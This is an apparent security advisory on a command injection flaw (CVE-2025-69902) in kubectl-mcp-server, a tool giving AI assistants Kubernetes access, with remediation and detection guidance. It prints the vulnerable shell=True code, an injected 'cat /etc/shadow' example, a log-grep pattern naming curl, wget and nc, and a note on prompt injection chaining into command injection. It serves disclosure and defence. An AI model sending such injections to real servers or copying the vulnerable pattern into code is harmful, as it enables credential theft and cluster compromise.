CVE-2025-69902: Critical Command Injection in kubectl-mcp-server

Executive Summary

A critical command injection vulnerability (CVE-2025-69902) has been disclosed in kubectl-mcp-server, an open-source Model Context Protocol (MCP) server that provides AI assistants and LLM-based tools with access to Kubernetes cluster management via kubectl. The vulnerability carries a CVSS score of 9.8 and allows remote attackers to execute arbitrary operating system commands without authentication.

CVSS Score: 9.8 (Critical)

The flaw exists in the minimal_wrapper.py component's run_kubectl_command() function, where user-supplied input is passed directly into shell command strings executed via Python's subprocess.run() with shell=True. An attacker can inject shell metacharacters (;, &&, |, $()) to break out of the intended kubectl command and execute arbitrary system commands. A patch is available in version 0.4.0.

Vulnerability Overview

Affected Versions

Attack Vector

The vulnerability is straightforward to exploit. The run_kubectl_command() function constructs a shell command string by concatenating user-supplied input directly into a kubectl command, then executes it using Python's subprocess.run() with shell=True:

# VULNERABLE CODE (simplified)
def run_kubectl_command(args: str) -> str:
    cmd = f"kubectl {args}"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return result.stdout

An attacker can inject arbitrary commands by including shell metacharacters in the input:

1. Attacker sends MCP tool call: get pods; cat /etc/shadow
2. Server constructs: kubectl get pods; cat /etc/shadow
3. subprocess.run() with shell=True interprets the semicolon as a command separator
4. Both commands execute: kubectl runs normally, then cat /etc/shadow runs
5. Attacker receives the output of both commands
6. Full system compromise — access to kubeconfig, service account tokens, cluster secrets

Injection Variants

Impact of Successful Exploitation

Why This Matters: MCP Server Attack Surface

The Model Context Protocol (MCP) is an emerging standard for connecting AI assistants to external tools and data sources. kubectl-mcp-server is one of several open-source MCP servers that provide Kubernetes management capabilities to LLM-based tools like Claude, ChatGPT, and Copilot.

The security implications are significant:

• MCP servers operate with elevated privileges — they need valid kubeconfig credentials to manage clusters
• AI tool chains may not validate inputs — prompts from users or other AI agents flow through to MCP tool calls with minimal sanitization
• The attack surface is growing — as organizations adopt MCP-based AI tooling, the number of privileged MCP servers connected to production infrastructure increases
• Prompt injection can chain to command injection — an attacker who can influence an AI assistant's tool calls (via prompt injection) can exploit this vulnerability without direct network access to the MCP server

Immediate Remediation

Step 1: Upgrade to Version 0.4.0

# If installed via pip
pip install --upgrade kubectl-mcp-server>=0.4.0
 
# If installed via npm
npm update kubectl-mcp-server
 
# Verify the installed version
kubectl-mcp-server --version

Step 2: Audit MCP Server Deployments

# Identify running instances
ps aux | grep kubectl-mcp-server
 
# Check for exposed network ports
ss -tlnp | grep mcp
 
# Review kubeconfig access
ls -la ~/.kube/config
kubectl auth can-i --list

Step 3: Review Logs for Exploitation Indicators

# Search for shell metacharacters in MCP server logs
grep -E '[;|&$()]' /var/log/mcp-server/*.log
 
# Look for unexpected command execution patterns
grep -E '(whoami|id|cat /etc|curl|wget|nc |ncat)' /var/log/mcp-server/*.log

If Immediate Patching Is Not Possible

1. Restrict network access to the MCP server — it should only be reachable by authorized AI tool clients
2. Run the MCP server in a sandboxed container with minimal privileges and no host network access
3. Apply a network policy that prevents the MCP server pod from making outbound connections
4. Use a read-only kubeconfig that limits kubectl operations to non-destructive queries
5. Monitor kubectl audit logs for unexpected commands originating from the MCP server's service account

Detection Indicators

Post-Remediation Steps

1. Confirm upgrade to kubectl-mcp-server 0.4.0 or later
2. Rotate kubeconfig credentials and service account tokens used by the MCP server
3. Audit Kubernetes RBAC — ensure MCP server service accounts follow least-privilege
4. Review cluster audit logs for any commands executed during the exposure window
5. Scan for persistence — check for unauthorized CronJobs, DaemonSets, or mutating webhooks
6. Implement input validation at the AI tool layer as defense-in-depth
7. Deploy network policies restricting MCP server egress

References

• CVE-2025-69902 — OffSeq Threat Radar
• kubectl-mcp-server Command Injection Advisory — AhnLab ASEC
• Command Injection in mcp-kubernetes-server — Snyk
• mcp-server-kubernetes vulnerable to command injection — GitHub Advisory

Related Reading

• Critical RCE in WPvivid Backup Plugin Threatens 900,000+
• CVE-2026-4177: YAML::Syck Heap Buffer Overflow Enables Remote Code Execution